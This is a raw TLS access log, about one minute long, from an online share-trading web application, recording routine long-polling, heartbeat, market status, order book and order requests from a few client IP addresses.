[09/Jan/2026:15:30:30 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:30:30 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/sell_ticket.html? HTTP/1.1" 2261
[09/Jan/2026:15:30:30 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:30:31 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:30:31 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:30:31 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:30:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944100762 HTTP/1.1" -
[09/Jan/2026:15:30:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944102286 HTTP/1.1" -
[09/Jan/2026:15:30:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:30:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:30:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1570
[09/Jan/2026:15:30:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:30:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:30:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:30:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:30:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944119876 HTTP/1.1" -
[09/Jan/2026:15:30:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944104028 HTTP/1.1" -
[09/Jan/2026:15:30:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944105787 HTTP/1.1" -
[09/Jan/2026:15:30:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:30:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:30:37 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944107330 HTTP/1.1" -
[09/Jan/2026:15:30:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944124897 HTTP/1.1" -
[09/Jan/2026:15:30:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944109091 HTTP/1.1" -
[09/Jan/2026:15:30:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944110842 HTTP/1.1" -
[09/Jan/2026:15:30:42 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944112390 HTTP/1.1" -
[09/Jan/2026:15:30:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944129964 HTTP/1.1" -
[09/Jan/2026:15:30:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944114207 HTTP/1.1" -
[09/Jan/2026:15:30:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944115865 HTTP/1.1" -
[09/Jan/2026:15:30:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944117516 HTTP/1.1" -
[09/Jan/2026:15:30:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:30:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:30:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944134995 HTTP/1.1" -
[09/Jan/2026:15:30:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944119330 HTTP/1.1" -
[09/Jan/2026:15:30:51 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:30:51 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:30:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944120923 HTTP/1.1" -
[09/Jan/2026:15:30:52 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944122607 HTTP/1.1" -
[09/Jan/2026:15:30:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944140062 HTTP/1.1" -
[09/Jan/2026:15:30:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944124382 HTTP/1.1" -
[09/Jan/2026:15:30:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:30:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:30:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:30:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 309
[09/Jan/2026:15:30:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944125963 HTTP/1.1" -
[09/Jan/2026:15:30:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:30:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 9
[09/Jan/2026:15:30:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:30:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:30:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944127655 HTTP/1.1" -
[09/Jan/2026:15:31:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944145127 HTTP/1.1" -
[09/Jan/2026:15:31:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944129522 HTTP/1.1" -
[09/Jan/2026:15:31:01 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:31:01 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:31:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944130992 HTTP/1.1" -
[09/Jan/2026:15:31:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944132735 HTTP/1.1" -
[09/Jan/2026:15:31:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:31:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:31:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:31:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:31:03 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:31:03 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:31:03 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:31:03 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1204
[09/Jan/2026:15:31:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944150190 HTTP/1.1" -
[09/Jan/2026:15:31:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944134574 HTTP/1.1" -
[09/Jan/2026:15:31:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944136013 HTTP/1.1" -
[09/Jan/2026:15:31:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:31:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:31:07 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944137773 HTTP/1.1" -
[09/Jan/2026:15:31:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944155208 HTTP/1.1" -
[09/Jan/2026:15:31:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944139711 HTTP/1.1" -
[09/Jan/2026:15:31:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944141052 HTTP/1.1" -
[09/Jan/2026:15:31:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944142910 HTTP/1.1" -
[09/Jan/2026:15:31:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944160257 HTTP/1.1" -
[09/Jan/2026:15:31:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944144843 HTTP/1.1" -
[09/Jan/2026:15:31:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944146084 HTTP/1.1" -
[09/Jan/2026:15:31:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:31:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:15:31:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:31:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:31:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:31:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=141932876E8A0A22DFED6BF883F585EB HTTP/1.1" 1022
[09/Jan/2026:15:31:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944148142 HTTP/1.1" -
[09/Jan/2026:15:31:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:31:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/sell_ticket.html? HTTP/1.1" 2261
[09/Jan/2026:15:31:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:31:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:31:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:31:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:31:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:31:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:31:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:31:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:31:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1599
[09/Jan/2026:15:31:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944165322 HTTP/1.1" -
[09/Jan/2026:15:31:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944149978 HTTP/1.1" -
[09/Jan/2026:15:31:21 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:31:21 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:31:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944151141 HTTP/1.1" -
[09/Jan/2026:15:31:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944153222 HTTP/1.1" -
[09/Jan/2026:15:31:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944170384 HTTP/1.1" -
[09/Jan/2026:15:31:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944155036 HTTP/1.1" -
[09/Jan/2026:15:31:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:31:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:31:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944156186 HTTP/1.1" -
[09/Jan/2026:15:31:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:31:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
